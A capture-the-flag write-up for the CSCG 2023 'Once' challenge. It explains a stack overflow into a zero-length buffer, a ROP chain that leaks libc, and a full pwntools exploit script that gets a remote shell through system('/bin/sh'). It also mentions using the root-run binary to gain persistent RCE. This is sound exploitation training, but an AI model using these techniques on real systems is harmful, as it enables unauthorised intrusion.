CSCG 2023 - Once
Last modification on
Challenge
A basic stack overflow. How hard could it be?
once.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void provide_a_little_help() {
const char* needle = NULL;
const char* needles[] = {
"once",
"[heap]",
"[stack]",
NULL
};
int i = 0;
char buf[512] = {0};
FILE* fp = fopen("/proc/self/maps", "r");
if (!fp) {
perror("fopen");
exit(1);
}
while((needle = needles[i]) != NULL) {
if (!fgets(buf, sizeof(buf), fp) || !buf[0]) {
break;
}
if (strstr(buf, needle)) {
*strchr(buf, ' ') = '\0';
printf("%s: %s\n", needle, buf);
i++;
}
}
fflush(stdout);
}
int main() {
unsigned char buf[0];
provide_a_little_help();
fread(buf, 1, 0x10, stdin);
return 0;
}
Overview
We are given a small C program called once
that is vulnerable
to a stack-based buffer overflow. The objective is to achieve remote code
execution and read the flag file.
The program consists of a call to provide_a_little_help
, followed
by fread
to trigger the vulnerability.
The function provide_a_little_help
parses the memory mapping of the
program's binary, stack and heap by reading /proc/self/maps
and outputs them
to stdout
. Since the binary has ASLR
enabled, this could help an attacker build a ROP
chain or provide writeable memory for use in an exploit.
The name once
most likely is playing at the fact that at first glance,
it seems like an attacker must achieve remote code execution using a
single call to fread
.
Analysis
The buffer overflow occurs when fread is called to read 0x10
bytes from stdin
into the buffer buf
of size 0x00
. Subsequently, two 64-bit entries immediately
following buf
on the stack are overwritten. These correspond to the stored
value of rbp
and the return address.
Since the base address of the program is known, the return address may be
overwritten such that fread
is called multiple times. To do this successfully,
however, we must be wary of which values are read / written to the stack
by the code we ROP to, and how rsp
is affected by each call.
Exploit
Viewing the contents of the stack at the time the stack-based buffer overflow
takes place, we find that an existing pointer to main
may
be used to leveraged to achive arbitrary write.
In the first call to fread
, we overwrite rbp
with the target address
and set the return pointer to main+14
(right after the call to
provide_a_little_help
in main). This way fread
is called again, with our
target address as its destination, and we can supply an
arbitrary 16-byte payload. The next return value popped off the stack
happens to be a pointer to main
, such that we reach fread
once more.
Finally, we supply an empty stack address for rbp
and a pointer to _start
for the return address to reset the stack state, enabling us to reuse
the write primitive.
With a write primitive and rip control, all that's left is to find a target
and write our chain to the stack. Since the binary is very small, however,
it does not provide sufficient gadgets to gain remote code execution.
Instead, we must leak the base address of libc.so.6
.
To this end, we construct a small rop chain which makes use of the libc
pointer left in rdi
by fflush(NULL)
. The rop chain consists of a call to
provide_a_little_help+337
, followed by the .plt
entry for printf
.
Running one_gadget
we find a gadget using posix_spawn
with easily
satisfiable constraints at libc_base+0xf5552
. Done, right?
Well, the constraints output by one_gadget
only cover the code paths
reaching the call to posix_spawn
, not the ones leaving it. In this
case, a child process is spawned, but the parent still attempts to access
some of the values we provided, causing a SEGFAULT
and closing the
connection.
Since we already have everything we need to Rop 'n' Roll normally, let's
do that. The final ROP chain consists of a simple pop rdi; ret
,
followed by the address of /bin/sh
and libc's system
.
solve.py
from pwn import *
import sys
io = remote(sys.argv[1], 1024)
get_range = lambda io: [int(v,16) for v in io.readline().decode().split()[1].split("-")]
prog_start, prog_end = get_range(io)
heap_start, heap_end = get_range(io)
stack_start, stack_end = get_range(io)
stack_mem = stack_end - 0x1800
stack_mem2 = stack_end - 0x1600
rop_main = prog_start + 0x1315
rop_fread = prog_start + 0x1323
rop_fflush = prog_start + 0x0000130a
rop_leave_ret = prog_start + 0x1313
plt_printf = prog_start + 0x1050
rop_start = prog_start + 0x10d0
io.send(p64(stack_mem) + p64(rop_fread))
io.send(p64(plt_printf) + p64(rop_start))
io.send(p64(stack_mem-8) + p64(rop_fflush))
io.readuntil(b"once:")
libc_leak = u64(io.readuntil(b"once:")[:-5].split(b"\n")[-1].ljust(8, b"\x00"))
libc_base = libc_leak - 0x84240
libc_binsh = libc_base + 0x197031
libc_system = libc_base + 0x4d4c0
rop_pop_rdi = libc_base + 0x27ab5
io.send(p64(stack_mem2) + p64(rop_fread))
io.send(p64(rop_pop_rdi) + p64(libc_binsh))
io.send(p64(0) + p64(rop_start))
io.send(p64(stack_mem2+0x10) + p64(rop_fread))
io.send(p64(libc_system) + p64(rop_main))
io.send(p64(stack_mem2-8) + p64(rop_leave_ret))
io.interactive()
Addendum
I'd like to mention an alternative approach taken by tunn3l, described in detail in his post.
Since the child process spawned by our initial one_gadget
payload
inherits the stdin
buffer of the parent, it is already possible to run
commands in the child with this initial version of the exploit, just not
receive any output. The challenge binary is run as root, so we can use this
to replace it with a shell and gain persistent RCE. Neat!